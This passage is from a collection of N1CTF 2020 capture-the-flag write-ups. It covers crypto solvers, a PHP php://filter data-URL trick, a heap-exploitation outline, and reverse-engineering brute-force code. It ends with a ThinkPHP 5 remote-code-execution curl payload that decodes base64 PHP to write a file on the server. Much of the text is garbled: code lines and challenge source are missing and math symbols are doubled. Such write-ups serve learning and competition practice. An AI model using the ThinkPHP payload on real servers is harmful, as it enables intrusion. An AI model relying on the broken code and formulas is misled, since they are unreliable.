self.shared_secrets[idx].xy()[0] 61 | _hash = sha256(long_to_bytes(px)).digest() 62 | key = _hash[:16] 63 | iv = _hash[16:] 64 | encrypted_msg = base64.b64encode(AES.new(key, AES.MODE_CBC, iv).encrypt(pad(msg, 16))) 65 | print(f"encrypted_msg[{idx}] = {encrypted_msg}") 66 | receiver.receive(encrypted_msg) 67 | 68 | 69 | class Receiver: 70 | def __init__(self): 71 | self.secret = randint(1 << 254, 1 << 255) 72 | self.curve = None 73 | self.g = None 74 | self.shared_secret = None 75 | 76 | def set_curve(self, curve, g): 77 | self.curve = curve 78 | self.g = g 79 | 80 | def key_exchange(self, yours): 81 | self.shared_secret = yours * self.secret 82 | return self.g * self.secret 83 | 84 | def receive(self, encrypted_msg): 85 | px = self.shared_secret.xy()[0] 86 | _hash = sha256(long_to_bytes(px)).digest() 87 | key = _hash[:16] 88 | iv = _hash[16:] 89 | msg = AES.new(key, AES.MODE_CBC, iv).decrypt(base64.b64decode(encrypted_msg)) 90 | msg = unpad(msg, 16) 91 | assert msg.startswith(b'Hi, here is your flag: ') 92 | 93 | 94 | receivers = [Receiver() for _ in range(RECEIVER_NUM)] 95 | curves = [generate_safecurve() for _ in range(RECEIVER_NUM)] 96 | 97 | A = Sender(curves, receivers) 98 | A.setup_connections() 99 | A.send_secret() 100 | ``` 101 | 102 | This problem was solved by me, so I can give you a brief look inside my brain. 103 | 104 | - You can't really do anything with AES-CBC in this challenge 105 | - You can't really do anything with SHA256 anywhere 106 | - That means that we have to break the DH style shared secret generation 107 | - The secret key is reused every time, so that's the vulnerability 108 | - The curve generation only checks the existence of large primes, so small primes can exist 109 | 110 | At this point, the solution was straightforward. For each small prime pp that divides the order of the elliptic curve used, we can find the value of the secret key (modp)(modp) by using Pohlig-Hellman approach. Combining these with CRT, we can recover dd since it is at most 22552255. 111 | 112 | Since we do need to deal with primes of size around 10121012, Baby-Step-Giant-Step is required. Just use Sage. 113 | 114 | 115 | 116 | The below code finds all the shared secrets. The remaining parts of the problem are straightforward. 117 | 118 | ```python 119 | cur_mod = 1 120 | cur_val = 0 121 | 122 | for i in range(0, 7): 123 | a = S[i][0] 124 | b = S[i][1] 125 | p = S[i][2] 126 | E = EllipticCurve(GF(p), [a, b]) 127 | Ord = E.order() 128 | L = list(factor(Ord)) 129 | GG = E(g[i]) 130 | SS = E(S_pub[i]) 131 | for pp, dd in L: 132 | if pp <= 10 ** 12 and dd == 1: 133 | Gp = (Ord // pp) * GG 134 | Sp = (Ord // pp) * SS 135 | tt = discrete_log(Sp, Gp, operation='+') 136 | cur_val = crt(cur_val, tt, cur_mod, pp) 137 | cur_mod = (cur_mod * pp) // gcd(pp, cur_mod) 138 | print("Done ", i) 139 | 140 | print("[+] Secret: ", cur_val) 141 | 142 | for i in range(0, 7): 143 | a = S[i][0] 144 | b = S[i][1] 145 | p = S[i][2] 146 | E = EllipticCurve(GF(p), [a, b]) 147 | RR = E(R_pub[i]) 148 | RES = RR * cur_val 149 | print(RES.xy()[0]) 150 | ``` 151 | 152 | -------------------------------------------------------------------------------- /2020/N1CTF 2020/crypto/N1Vault/README.md: -------------------------------------------------------------------------------- 1 | ## n1vault 2 | 3 | There was a secret logic that triggered when SIGFPE is sent to the program. The main goal of the challenge is to trigger this secret logic. 4 | 5 | There's only one point that SIGFPE signal can be triggered, with divide-by-zero exception. 6 | 7 | ``` c 8 | if ( !memcmp(&s1, &s2, 0x20uLL) 9 | && !memcmp(&v14, &v50, 0x20uLL) 10 | && 0x422048F8DF49762ELL / (v5 | v4) == 1 11 | && v4 == 0x9E48562A 12 | && v5 == 0x422048F8DF41242ELL ) 13 | ``` 14 | 15 | If both `v5` and `v4` is zero, then it will be triggered. 16 | 17 | After reversing binary, it was able to know that: 18 | 19 | 1. Every part of the input data is digested in to SHA256 and compared with the fixed value (`memcmp` above), except `data[0x10B0::2]`. 20 | This means we cannot change except `data[0x10B0::2]` to pass the SHA256 checking logic. 21 | 2. `v5` is the CRC64 value of the data and `v4` is the CRC32 value of the data. 22 | 23 | So this challenge is about changing `data[0x10B0::2]` (total 12 bytes) to make both CRC32 and CRC64 to zero. 24 | 25 | Usually, CRC has an interesting property, that $CRC(x \oplus y) = CRC(x) \oplus CRC(y)$. In this challenge, the starting value of CRCk is `(1 << k) - 1`, so this is a bit different: $CRC(x \oplus y) = CRC(x) \oplus CRC(y) \oplus CRC(0)$. 26 | 27 | From this, for each unknown bit $x_0, x_1, ..., x_{95}$, this challenge asks: $CRC(x_0 \oplus x_1 \oplus \ldots \oplus x_{95}) = 0$. By using the property above, we can make this into $CRC(x_0) \oplus CRC(x_1) \oplus \ldots \oplus CRC(x_{95}) \oplus CRC(0) = 0$. 28 | 29 | For $k$-th bit of CRC, we can think like: $CRC(x_0)_k \oplus CRC(x_1)_k \oplus \ldots \oplus CRC(x_{95})_k \oplus CRC(0)_k = 0$. Moreover, we can think like this way: $CRC(x_0 | x_0=1)_k \cdot x_0 \oplus CRC(x_1 | x_1=1)_k \cdot x_1 \oplus \ldots \oplus CRC(x_{95} | x_{95} = 1)_k \cdot x_{95} \oplus CRC(0)_k = 0$. We know that XOR operator is same as addition on mod 2. Therefore, this is a linear equation over mod 2 on $x_0$ to $x_{95}$. 30 | 31 | For each bit of CRC64, we can get 64 linear equations over mod 2 on $x_0$ to $x_{95}$. For each bit of CRC32, we can get 32 linear equations over mod 2 on $x_0$ to $x_{95}$. These are total 96 equations, and unknown bits are total 96 bits. We can solve this by gauss elimination. 32 | 33 | The solver code is here: 34 | 35 | ```python 36 | #!/usr/bin/env sage 37 | 38 | import struct 39 | 40 | with open('credential.png', 'rb') as f: 41 | data = f.read(0x10C8) 42 | 43 | crc32_table = [] 44 | crc64_table = [] 45 | with open('n1vault', 'rb') as f: 46 | f.seek(0x1960) 47 | for i in range(256): 48 | crc32_table.append(struct.unpack('> 1) ^^ crc64_table[0x80] 60 | else: 61 | crc = crc >> 1 62 | return crc ^^ ((1 << 64) - 1) 63 | 64 | def crc32(arr): 65 | crc = (1 << 32) - 1 66 | for c in arr: 67 | crc = crc ^^ c 68 | for i in range(8): 69 | if crc & 1: 70 | crc = (crc >> 1) ^^ crc32_table[0x80] 71 | else: 72 | crc = crc >> 1 73 | return crc ^^ ((1 << 32) - 1) 74 | 75 | mat = [ [0 for j in range(96)] for i in range(96)] 76 | for i in range(12): 77 | tmp = bytearray([0 for _ in range(0x10C8)]) 78 | for j in range(8): 79 | tmp[0x10B0 + 2 * i] = 1 << j 80 | v32 = crc32(tmp) 81 | v64 = crc64(tmp) 82 | 83 | for k in range(32): 84 | bit = (v32 >> k) & 1 85 | mat[k][i * 8 + j] = bit 86 | for k in range(64): 87 | bit = (v64 >> k) & 1 88 | mat[k + 32][i * 8 + j] = bit 89 | 90 | target = [ 0 for i in range(96) ] 91 | v32 = crc32(data) ^^ crc32([0 for _ in range(0x10C8)]) 92 | v64 = crc64(data) ^^ crc64([0 for _ in range(0x10C8)]) 93 | 94 | for i in range(32): 95 | bit = (v32 >> i) & 1 96 | target[i] = bit 97 | for i in range(64): 98 | bit = (v64 >> i) & 1 99 | target[i + 32] = bit 100 | 101 | mat = Matrix(GF(2), mat) 102 | 103 | ans = mat.solve_right(Matrix(GF(2), target).transpose()) 104 | 105 | tmp = bytearray(data) 106 | 107 | for i in range(12): 108 | for j in range(8): 109 | val = int(ans[8 * i + j][0]) 110 | tmp[0x10B0 + 2 * i] = tmp[0x10B0 + 2 * i] ^^ (val << j) 111 | 112 | with open('credential_false.png', 'wb') as f: 113 | f.write(tmp) 114 | ``` 115 | 116 | The flag was `n1ctf{fa4bdf1d540831c88ca40794fc128f10}`. -------------------------------------------------------------------------------- /2020/N1CTF 2020/crypto/VSS/README.md: -------------------------------------------------------------------------------- 1 | ## VSS 2 | 3 | ```python 4 | #!/usr/bin/python3 5 | import qrcode # https://github.com/lincolnloop/python-qrcode 6 | import random 7 | import os 8 | from PIL import Image 9 | from flag import FLAG 10 | 11 | 12 | def vss22_gen(img): 13 | m, n = img.size 14 | share1, share2 = Image.new("L", (2*m, 2*n)), Image.new("L", (2*m, 2*n)) 15 | image_data = img.getdata() 16 | flipped_coins = [int(bit) for bit in bin(random.getrandbits(m*n))[2:].zfill(m*n)] 17 | for idx, pixel in enumerate(image_data): 18 | i, j = idx//n, idx % n 19 | color0 = 0 if flipped_coins[idx] else 255 20 | color1 = 255 if flipped_coins[idx] else 0 21 | if pixel: 22 | share1.putpixel((2*j, 2*i), color0) 23 | share1.putpixel((2*j, 2*i+1), color0) 24 | share1.putpixel((2*j+1, 2*i), color1) 25 | share1.putpixel((2*j+1, 2*i+1), color1) 26 | 27 | share2.putpixel((2*j, 2*i), color0) 28 | share2.putpixel((2*j, 2*i+1), color0) 29 | share2.putpixel((2*j+1, 2*i), color1) 30 | share2.putpixel((2*j+1, 2*i+1), color1) 31 | else: 32 | share1.putpixel((2*j, 2*i), color0) 33 | share1.putpixel((2*j, 2*i+1), color0) 34 | share1.putpixel((2*j+1, 2*i), color1) 35 | share1.putpixel((2*j+1, 2*i+1), color1) 36 | 37 | share2.putpixel((2*j, 2*i), color1) 38 | share2.putpixel((2*j, 2*i+1), color1) 39 | share2.putpixel((2*j+1, 2*i), color0) 40 | share2.putpixel((2*j+1, 2*i+1), color0) 41 | share1.save('share1.png') 42 | share2.save('share2.png') 43 | 44 | 45 | def vss22_superposition(): 46 | share1 = Image.open('share1.png') 47 | share2 = Image.open('share2.png') 48 | res = Image.new("L", share1.size, 255) 49 | share1_data = share1.getdata() 50 | share2_data = share2.getdata() 51 | res.putdata([p1 & p2 for p1, p2 in zip(share1_data, share2_data)]) 52 | res.save('result.png') 53 | 54 | 55 | def main(): 56 | qr = qrcode.QRCode( 57 | version=1, 58 | error_correction=qrcode.constants.ERROR_CORRECT_L, 59 | box_size=12, 60 | border=4, 61 | ) 62 | qr.add_data(FLAG) 63 | qr.make(fit=True) 64 | img = qr.make_image(fill_color="black", back_color="white") 65 | vss22_gen(img._img) 66 | img.save('res.png') 67 | vss22_superposition() 68 | 69 | 70 | if __name__ == '__main__': 71 | main() 72 | ``` 73 | 74 | The vulnerability lies in the use of "getrandbits" - it's implemented using MT19937. This PRNG is known to be predictable after 624 output values are known. Also, if you try to generate a QR code with a sample flag, we can see that the first few rows of the generated output are all white. With this fact, we can retrieve the first few thousand bits generated, and we can predict the following bits generated by MT19937. Therefore, we can recover the original QR code. **This solution (and code itself) is due to rbtree.** 75 | 76 | ```python 77 | from mt import untemper 78 | import random 79 | from PIL import Image 80 | 81 | img = Image.open('share2.png') 82 | value = 0 83 | for i in range(444): 84 | for j in range(444): 85 | value <<= 1 86 | value ^= 1 if 255 == img.getpixel((2 * j + 1, 2 * i)) else 0 87 | 88 | tmp = value 89 | values = [] 90 | for i in range(444 * 444 // 32): 91 | values.append(tmp & 0xffffffff) 92 | tmp >>= 32 93 | 94 | mt_state = tuple(list(map(untemper, values[:624])) + [0]) 95 | random.setstate((3, mt_state, None)) 96 | 97 | # for i in range(444 * 444 // 32): 98 | # assert values[i] == random.getrandbits(32) 99 | 100 | random.setstate((3, mt_state, None)) 101 | 102 | real_value = 0 103 | for i in range(444 * 444 // 32): 104 | real_value ^= random.getrandbits(32) << (32 * i) 105 | 106 | value ^= real_value 107 | arr = [int(bit) for bit in bin(value)[2:].zfill(444 * 444)] 108 | 109 | res = Image.new("L", (444, 444)) 110 | 111 | for i in range(444): 112 | for j in range(444): 113 | res.putpixel((j, i), 0 if arr[i * 444 + j] else 255) 114 | 115 | res.save("res.png") 116 | ``` 117 | 118 | -------------------------------------------------------------------------------- /2020/N1CTF 2020/crypto/easyRSA/README.md: -------------------------------------------------------------------------------- 1 | ## easyRSA? 2 | 3 | ```python 4 | from Crypto.Util.number import * 5 | import numpy as np 6 | 7 | mark = 3**66 8 | 9 | def get_random_prime(): 10 | total = 0 11 | for i in range(5): 12 | total += mark**i * getRandomNBitInteger(32) 13 | fac = str(factor(total)).split(" * ") 14 | return int(fac[-1]) 15 | 16 | def get_B(size): 17 | x = np.random.normal(0, 16, size) 18 | return np.rint(x) 19 | 20 | p = get_random_prime() 21 | q = get_random_prime() 22 | N = p * q 23 | e = 127 24 | 25 | flag = b"N1CTF{************************************}" 26 | secret = np.array(list(flag)) 27 | 28 | upper = 152989197224467 29 | A = np.random.randint(281474976710655, size=(e, 43)) 30 | B = get_B(size=e).astype(np.int64) 31 | linear = (A.dot(secret) + B) % upper 32 | 33 | result = [] 34 | for l in linear: 35 | result.append(pow(l, e, N)) 36 | 37 | print(result) 38 | print(N) 39 | np.save("A.npy", A) 40 | ``` 41 | 42 | Looking at the problem, we see that we need to do the following 43 | 44 | - Factorize NN using the vulnerable random prime generator, and recover the array "linear" 45 | - Solve the instance of LWE by using the fact that secret vector (the flag) is small as well 46 | 47 | We first focus on the first part. I actually thought about coppersmith method, but I couldn't get it to work. 48 | 49 | I already have an experience in wasting time with coppersmith approach, (sharsable) so I stopped attempting. 50 | 51 | 52 | 53 | rbtree noted that there is a polynomial ff with small coefficients, degree 8, and f(3^66) ≡ 0 (mod N) 54 | 55 | This is because for each p,qp,q, there's a degree 4 polynomial with small coefficients that vanishes at 3^66 modulo that prime. 56 | 57 | If we multiply the two degree 4 polynomials, we arrive at the described polynomial of degree 8. 58 | 59 | He then suggested using a lattice to find this polynomial. This was an excellent idea! 60 | 61 | 62 | 63 | Since we want a small-coefficient-linear-combination of 3^(66⋅0),3^(66⋅1),⋯,3^(66⋅8) that vanishes to zero, we must use scaling, as I did in sharsable. Check the code for technical details. As I do usually, I used Babai's closest vector algorithm. We can expect ff to be factorized into two polynomials of degree 4. By calculating each polynomial at 3^66 and taking GCDs, we can retrieve p,q This completes Part 1. 64 | 65 | 66 | 67 | For Part 2, we need to solve the LWE problem. This is hard in general, but we know that the secret vector is small as well. 68 | 69 | Of course, LWE problem can be modeled as CVP problem, and we use the "secret vector is small" fact here as well. 70 | 71 | 72 | 73 | ```python 74 | ## Step 1 : Factorization of N 75 | rat = 2 ** 1000 76 | ## scaling : super large to force zero in the first column 77 | 78 | for i in range(0, 9): 79 | M[i, 0] = (3 ** (66 * i)) * rat 80 | M[9, 0] = n * rat 81 | for i in range(0, 9): 82 | M[i, i+1] = 1 83 | 84 | Target = [0] * 10 85 | for i in range(1, 10): 86 | Target[i] = (2 ** 64) 87 | 88 | M = M.LLL() 89 | GG = M.gram_schmidt()[0] 90 | Target = vector(Target) 91 | TT = Babai_closest_vector(M, GG, Target) 92 | 93 | P. = PolynomialRing(ZZ) 94 | f = 0 95 | for i in range(1, 10): 96 | f = f + TT[i] * x^(i-1) 97 | print(f.factor()) 98 | ## (2187594805*x^4 + 2330453070*x^3 + 2454571743*x^2 + 2172951063*x + 3997404950) 99 | ## (3053645990*x^4 + 3025986779*x^3 + 2956649421*x^2 + 3181401791*x + 4085160459) 100 | 101 | cc = 0 102 | cc += 2187594805 * (3 ** (66 * 4)) 103 | cc += 2330453070 * (3 ** (66 * 3)) 104 | cc += 2454571743 * (3 ** (66 * 2)) 105 | cc += 2172951063 * (3 ** (66 * 1)) 106 | cc += 3997404950 * (3 ** (66 * 0)) 107 | 108 | p = gcd(cc, n) 109 | print(p) 110 | print(n // p) 111 | print(n % p) 112 | 113 | ## Step 2 : housekeeping stuff 114 | ## res in res.txt, A in A.npy 115 | p = 122286683590821384708927559261006610931573935494533014267913695701452160518376584698853935842772049170451497 116 | q = 268599801432887942388349567231788231269064717981088022136662922349190872076740737541006100017108181256486533 117 | e = 127 118 | n = p * q 119 | phi = (p-1) * (q-1) 120 | d = inverse(e, phi) 121 | 122 | cv = [] 123 | for x in res: 124 | cv.append(pow(x, d, n)) 125 | 126 | print(cv) 127 | 128 | np.set_printoptions(threshold=sys.maxsize) 129 | A = np.load("A.npy") 130 | A = np.ndarray.tolist(A) 131 | print(A) 132 | 133 | ## Step 3 : LWE with CVP 134 | mod = 152989197224467 135 | 136 | sel = 15 ## sel can be large as 127, but that's too slow 137 | M = Matrix(ZZ, sel + 43, sel + 43) 138 | for i in range(0, 43): 139 | for j in range(0, sel): 140 | M[i, j] = A[j][i] 141 | M[i, sel + i] = 1 142 | for i in range(43, 43+sel): 143 | M[i, i-43] = mod 144 | Target = [0] * (sel + 43) 145 | for i in range(0, sel): 146 | Target[i] = res[i] - 8 147 | for i in range(sel, sel + 43): 148 | Target[i] = 80 ## printable 149 | 150 | Target = vector(Target) 151 | M = M.LLL() 152 | GG = M.gram_schmidt()[0] 153 | Target = vector(Target) 154 | TT = Babai_closest_vector(M, GG, Target) 155 | 156 | print(TT) 157 | 158 | res = "" 159 | for i in range(sel, sel+43): 160 | res += chr(TT[i]) 161 | 162 | print(res) 163 | ``` 164 | 165 | -------------------------------------------------------------------------------- /2020/N1CTF 2020/misc/filters/README.md: -------------------------------------------------------------------------------- 1 | # Filters 2 | 3 | a misc challenge with 10 solves at the end. 4 | 5 | ## Challenge 6 | 7 | ``` 8 | 1 29 | ``` 30 | 31 | ## Solution - Probably unintended 32 | 33 | We solved this with simple trick, Accoring to rfc, the data url's format is: 34 | 35 | ``` 36 | data:[][;base64], 37 | ``` 38 | 39 | The parts in `[]` are optional, and default media type is `plain/text`, So this payload 40 | ``` 41 | resource=data:, 42 | ``` 43 | 44 | would construct 45 | 46 | ``` 47 | php://filter/resource=data:,/resource=/usr/bin/php 48 | ``` 49 | 50 | which generates 51 | 52 | ``` 53 | /resource=/usr/bin/php 54 | ``` 55 | 56 | And the flag is n1ctf{https_www_arknights_global} 57 | 58 | -------------------------------------------------------------------------------- /2020/N1CTF 2020/misc/n1egg_allsignin/README.md: -------------------------------------------------------------------------------- 1 | ## n1egg_allsignin 2 | 3 | Just follow description with flags. -------------------------------------------------------------------------------- /2020/N1CTF 2020/pwn/README.md: -------------------------------------------------------------------------------- 1 | ## signin 2 | 3 | This is custom vector management application. 4 | 5 | We can insert some integer values into vector structure, the vector structure consists with two members, first is vector begin, second is vector end pointer 6 | 7 | The vulnerability is based on this application does not have logic for checking deleted index 8 | 9 | ```C 10 | unsigned __int64 sub_1034() 11 | { 12 | int v1; // [rsp+4h] [rbp-Ch] 13 | unsigned __int64 v2; // [rsp+8h] [rbp-8h] 14 | 15 | v2 = __readfsqword(0x28u); 16 | std::operator<<>(&std::cout, "Index:"); 17 | std::istream::operator>>(&std::cin, &v1); 18 | if ( v1 == 1 ) 19 | sub_1364((__int64)&unk_2032A0); 20 | if ( v1 == 2 ) 21 | sub_1364((__int64)&unk_2032C0); 22 | return __readfsqword(0x28u) ^ v2; 23 | } 24 | 25 | ``` 26 | 27 | We can trigger delete function for same values more than one times. 28 | 29 | Thus, we can make the vector end pointer smaller than the vector begin pointer. 30 | 31 | We can make main_arena address into heap, just execute ‘new’ function many times. 32 | 33 | And then, just use the show function to leak some values and calculate the libc base address. 34 | 35 | Finally, we can get privileges on the server by overwriting tcache single-linked list pointer to __free_hook global variable. -------------------------------------------------------------------------------- /2020/N1CTF 2020/rev/fixed_camera/README.md: -------------------------------------------------------------------------------- 1 | ## fixed camera 2 | 3 | The given Unity binary uses il2cpp + mono. It is easily reversible with Il2CppDumper. 4 | 5 | With the dumper, it was able to find out that there's a class named `cam` and it has the main logic. 6 | 7 | The structure of the member of the class was like: 8 | 9 | ``` 10 | 00000000 cam_Fields struc ; (sizeof=0x48, align=0x8, copyof_17367) 11 | 00000000 ; XREF: cam_o/r 12 | 00000000 baseclass_0 UnityEngine_MonoBehaviour_Fields ? 13 | 00000008 text dq ? ; offset 14 | 00000010 encrypt_flag dq ? ; offset 15 | 00000018 speed dd ? 16 | 0000001C distance_v dd ? 17 | 00000020 distance_h dd ? 18 | 00000024 rotation_H_speed dd ? 19 | 00000028 rotation_V_speed dd ? 20 | 0000002C max_up_angle dd ? 21 | 00000030 max_down_angle dd ? 22 | 00000034 max_left_angle dd ? 23 | 00000038 max_right_angle dd ? 24 | 0000003C current_rotation_V dd ? 25 | 00000040 angleY dq ? ; offset 26 | 00000048 cam_Fields ends 27 | ``` 28 | 29 | The important field is `angleY`, because we cannot move over `-9` degree or `+9` degree because of the code. At this time, I decided to use cheat engine to change `angleY` value. 30 | 31 | It was able to find `angleY` from the memory because of other member values. 32 | 33 | ```c 34 | void __stdcall cam___ctor(cam_o *this, const MethodInfo *method) 35 | { 36 | __int64 v3; // rdx 37 | UnityEngine_MonoBehaviour_o *v4; // rbx 38 | 39 | if ( !byte_180872E55 ) 40 | { 41 | sub_18011A030(10994i64, (__int64)method); 42 | byte_180872E55 = 1; 43 | } 44 | v3 = StringLiteral_3877; 45 | this->fields.encrypt_flag = (struct System_String_o *)StringLiteral_3877; 46 | sub_180119BC0((__int64)&this->fields.encrypt_flag, v3); 47 | this->fields.speed = 20.0; 48 | this->fields.rotation_H_speed = 1.0; 49 | this->fields.rotation_V_speed = 1.0; 50 | this->fields.max_up_angle = 80.0; 51 | this->fields.max_down_angle = -60.0; 52 | this->fields.max_left_angle = -30.0; 53 | this->fields.max_right_angle = 30.0; 54 | v4 = (UnityEngine_MonoBehaviour_o *)sub_18011A130(EncryptValue_TypeInfo); 55 | UnityEngine_MonoBehaviour___ctor(v4, 0i64); 56 | this->fields.angleY = (struct EncryptValue_o *)v4; 57 | sub_180119BC0((__int64)&this->fields.angleY, (__int64)v4); 58 | UnityEngine_MonoBehaviour___ctor((UnityEngine_MonoBehaviour_o *)this, 0i64); 59 | } 60 | ``` 61 | 62 | Member values like `speed`, `max_up_angle`, `max_down_angle` are never changed after the given constructor fix its value. Therefore, it was able to find the pointer `angleY` by finding values `[20.0, 1.0, 1.0, 80.0, -60.0, -30.0, 30.0]`. 63 | 64 | After this, I changed `angleY` to `-120` and moved slowly to right. When `angleY` was `-60`, the flag was out, it was `n1ctf{encrypt_value}`. -------------------------------------------------------------------------------- /2020/N1CTF 2020/rev/n1egg_fixed_camera/README.md: -------------------------------------------------------------------------------- 1 | ### n1egg 2 | 3 | About n1egg flag, it was able to get n1egg flag by just searching `n1egg` on the memory. 4 | 5 | The flag was `n1egg{you_found_the_eggs}`. -------------------------------------------------------------------------------- /2020/N1CTF 2020/rev/oflo/README.md: -------------------------------------------------------------------------------- 1 | ## oflo 2 | 3 | There are several anit-reversing logic, so I just patched with `\x90` (nop instruction) to avoid them. After this process, it was able to figure out the logic of the program. 4 | 5 | 1. Use `/bin/cat` to something to get a string 6 | 2. XOR the prologue of a function by the first 5 bytes of the given input. 7 | 3. XOR the given input and the string from 1., then check the result is right. 8 | 9 | The part 2. is easy to patch, because the first 5 bytes of the given input is always `n1ctf`. 10 | 11 | Then, I found out that 1. give us the string starts with `Linux version` with gdb. so it was able to get flag like this: 12 | 13 | ``` 14 | >>> arr 15 | [53, 45, 17, 26, 73, 125, 17, 20, 43, 59, 62, 61, 60, 95] 16 | >>> arr2 17 | [76, 105, 110, 117, 120, 32, 118, 101, 114, 115, 105, 111, 110, 32] 18 | >>> s = '' 19 | >>> for i in range(len(arr)): 20 | ... s += chr(arr[i] ^ (arr2[i] + 2)) 21 | ... 22 | >>> s 23 | '{Fam3_is_NULL}' 24 | ``` -------------------------------------------------------------------------------- /2020/N1CTF 2020/rev/oh_my_julia/README.md: -------------------------------------------------------------------------------- 1 | ## Oh my julia 2 | 3 | Julia is a programming language for numerical analysis (from google) 4 | 5 | We can find the jl_apply_generic functions in Julia compiler’s control flow. 6 | 7 | I just analyze this function to understand the flow of main function which wrote with Julia Syntax. 8 | 9 | And i finally found this function. 10 | 11 | ```C 12 | JL_DLLEXPORT jl_value_t *jl_fptr_args(jl_value_t *f, jl_value_t **args, uint32_t nargs, jl_code_instance_t *m) 13 | { 14 | while (1) { 15 | jl_fptr_args_t invoke = jl_atomic_load_relaxed(&m->specptr.fptr1); 16 | if (invoke) 17 | return invoke(f, args, nargs); 18 | } 19 | } 20 | ``` 21 | 22 | Almost of the julia functions were invoked by this jl_fptr_args function. 23 | 24 | And i can find the address of this program’s main flow. 25 | 26 | The first flag part was generated by simple string comparison operations. 27 | 28 | And the second flag part was generated by simple XOR logics. 29 | 30 | Next the third flag part was generated by Multiplication and Shift operations. 31 | 32 | Thus, i wrote the assembly codes which implemented brute force. 33 | 34 | 35 | 36 | ```assembly 37 | section .text 38 | global _start 39 | 40 | _start: 41 | mov r15, 0x0 42 | loop: 43 | mov rbx, r15 44 | mov rdx, 0x6A959265B134ED87 45 | mov rax, rbx 46 | imul rdx 47 | mov rax, rdx 48 | shr rax, 0x3F 49 | sar rdx, 0xB 50 | add rdx, rax 51 | imul rax, rdx, 0x1337 52 | mov rcx, rbx 53 | sub rcx, rax 54 | mov rdx, 0x149B0651897000A5 55 | mov rax, rbx 56 | imul rdx 57 | xor eax, eax 58 | cmp rcx, 0x8FF 59 | je next 60 | add r15, 0x1 61 | cmp r15, 0x7f7f7f7f 62 | je abort 63 | jmp loop 64 | next: 65 | mov rcx, rdx 66 | shr rcx, 0x3F 67 | sar rdx, 0x9 68 | add rdx, rcx 69 | imul rcx, rdx, 0x18D9 70 | mov rdx, rbx 71 | sub rdx, rcx 72 | cmp rdx, 0x105A 73 | je next_2 74 | add r15, 0x1 75 | cmp r15, 0x7f7f7f7f 76 | je abort 77 | jmp loop 78 | next_2: 79 | mov rdx, 0xE13BDAF0069940EB 80 | mov rax, rbx 81 | imul rdx 82 | add rdx, rbx 83 | mov rax, rdx 84 | shr rax, 0x3F 85 | sar rdx, 0xD 86 | add rdx, rax 87 | imul rax, rdx, 0x245F 88 | sub rbx, rax 89 | cmp rbx, 0x1595 90 | je end 91 | add r15, 0x1 92 | cmp r15, 0x7f7f7f7f 93 | je abort 94 | jmp loop 95 | abort: 96 | ret 97 | end: 98 | mov rax, r15 99 | ret 100 | ``` 101 | 102 | And the fourth flag part was generated by ror and rol, shl, shr, add, xor, .. a lot of operations. 103 | 104 | I was cumbersome to reverse engineering this. 105 | 106 | But we can guess the third character is ‘L’ from this logics. 107 | 108 | 109 | 110 | ```c 111 | #include 112 | #include 113 | #include 114 | #include 115 | #include 116 | 117 | static inline uint8_t rol_8(uint8_t n, unsigned int c) 118 | { 119 | const unsigned int mask = (CHAR_BIT * sizeof(n) - 1); 120 | c &= mask; 121 | return (n << c) | (n >> ((-c) &mask)); 122 | } 123 | 124 | static inline uint8_t ror_8(uint8_t n, unsigned int c) 125 | { 126 | const unsigned int mask = (CHAR_BIT * sizeof(n) - 1); 127 | c &= mask; 128 | return (n >> c) | (n << ((-c) & mask)); 129 | } 130 | 131 | int main() 132 | { 133 | char source[5] = { 0 }; 134 | char temp[5] = { 0 }; 135 | char dest[5] = { 0 }; 136 | 137 | uint8_t dl, r9b, r10b, al, cl; 138 | 139 | for (int i = 0x41; i < 0x80; i++) 140 | { 141 | printf("%d\n", i); 142 | source[0] = (char)i; 143 | for (int j = 0x20; j < 0x80; j++) 144 | { 145 | source[1] = (char)j; 146 | for (int k = 0x20; k < 0x80; k++) 147 | { 148 | source[2] = (char)k; 149 | for (int m = 0x20; m < 0x80; m++) 150 | { 151 | source[3] = (char)m; 152 | for (int l = 0x20; l < 0x80; l++) 153 | { 154 | source[4] = (char)l; 155 | memcpy(temp, source, 5); 156 | //memcpy(temp, "mnpqr", 5); 157 | r9b = temp[0]; 158 | dl = temp[2]; 159 | dl = rol_8(dl, 0x3); 160 | temp[2] = dl; 161 | r9b = rol_8(r9b, 0x2); 162 | temp[0] = r9b; 163 | dl = dl ^ temp[3]; 164 | dl = dl ^ r9b; 165 | temp[3] = dl; 166 | dl = temp[4]; 167 | r10b = temp[1]; 168 | r10b = r10b ^ dl; 169 | al = r9b; 170 | al = al << 3; 171 | al = al ^ r10b; 172 | dl = rol_8(dl, 0x4); 173 | temp[4] = dl; 174 | dl = dl ^ r9b; 175 | cl = al; 176 | cl = cl << 0x2; 177 | cl = cl ^ dl; 178 | temp[0] = cl; 179 | r10b = r10b << 0x7; 180 | al = al >> 0x1; 181 | al = al | r10b; 182 | temp[1] = al; 183 | if (temp[0] == (char)0x59 && temp[1] == (char)0xbe && temp[2] == (char)0x62 && temp[3] == (char)0xfa && temp[4] == (char)0x04) 184 | { 185 | printf("%c%c%c%c%c\n", source[0], source[1], source[2], source[3], source[4]); 186 | } 187 | } 188 | } 189 | } 190 | } 191 | } 192 | return 0; 193 | } 194 | ``` 195 | 196 | The final part of flag was generated by libgmp library, but this logic is too complicate. 197 | 198 | We have to find last 0xD bytes of flag, thus we cannot find the part of flag from brute-forcing all alphanumeric characters. 199 | 200 | But, we can assume the candidates for the characters that make up the flag string. 201 | 202 | We can try brute forcing with two characters, ‘z’ and ‘Z’. 203 | 204 | 205 | 206 | ```python 207 | import os 208 | from subprocess import Popen, PIPE 209 | 210 | for i in range(8192): 211 | print(i) 212 | form = "{0:013b}".format(i) 213 | form = form.replace("1", "Z") 214 | form = form.replace("0", "z") 215 | pipe = Popen("C:\\Users\\a\\Downloads\\43bd298957c1b89c4fad9c0bf55024cc\\to_player\\crack.exe", shell=True, stdout=PIPE, stdin=PIPE) 216 | key = b"n0w_You_kN0w_juL1@_" + form.encode() + b"\n" 217 | out, err = pipe.communicate(key) 218 | if b"noo" not in out: 219 | print(form) 220 | print("end") 221 | ``` 222 | 223 | -------------------------------------------------------------------------------- /2020/N1CTF 2020/web/easy_tp5/README.md: -------------------------------------------------------------------------------- 1 | # Easy_TP5 2 | 3 | A web challenge with thinkphp framework ended up having 11 solves 4 | 5 | ## Solution 6 | 7 | Final exploit: 8 | 9 | ``` 10 | curl --data "path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3N1cHBwLnBocCcsJ3N1cGVyIGd1ZXNzc3NlcnMnKTsgPz4=&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET" 